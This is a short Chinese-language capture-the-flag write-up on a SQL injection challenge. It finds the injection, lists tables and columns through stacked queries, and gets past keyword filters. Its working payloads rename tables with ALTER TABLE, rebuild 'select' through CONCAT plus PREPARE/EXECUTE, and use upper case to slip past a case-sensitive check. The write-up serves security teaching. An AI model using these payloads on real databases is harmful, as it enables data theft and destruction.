首先用'
测试一下
网页回显:
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
证明存在sql注入漏洞
接着使用union select
查询数据库,但是发现存在过滤,
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
可以看到select,where之类的都被过滤了,并且无视大小写。
尝试使用堆叠注入
1';show tables#
得到以下结果
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
接着查看表中的内容,但因为select被过滤了,所以需要使用show columns
1';show columns from `1919810931114514`#
返回
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
接着就需要查看flag字段的内容,普通查询肯定是无法使用了,有两种解题思路:
- 因为输入1时,网站应该查询的是words表中的内容,那么把
1919810931114514
的表名改为words,就变成了查询words表了。
payload:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
- 通过预编译绕过检测
payload:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
通过CONCAT绕过检测select,接着将查询语句预编译之后执行即可查询。
但是发现还有一处过滤
strstr($inject, "set") && strstr($inject, "prepare")
但是这次是使用strstr进行查询,而strstr区分大小写,所以将prepare改成大写即可绕过。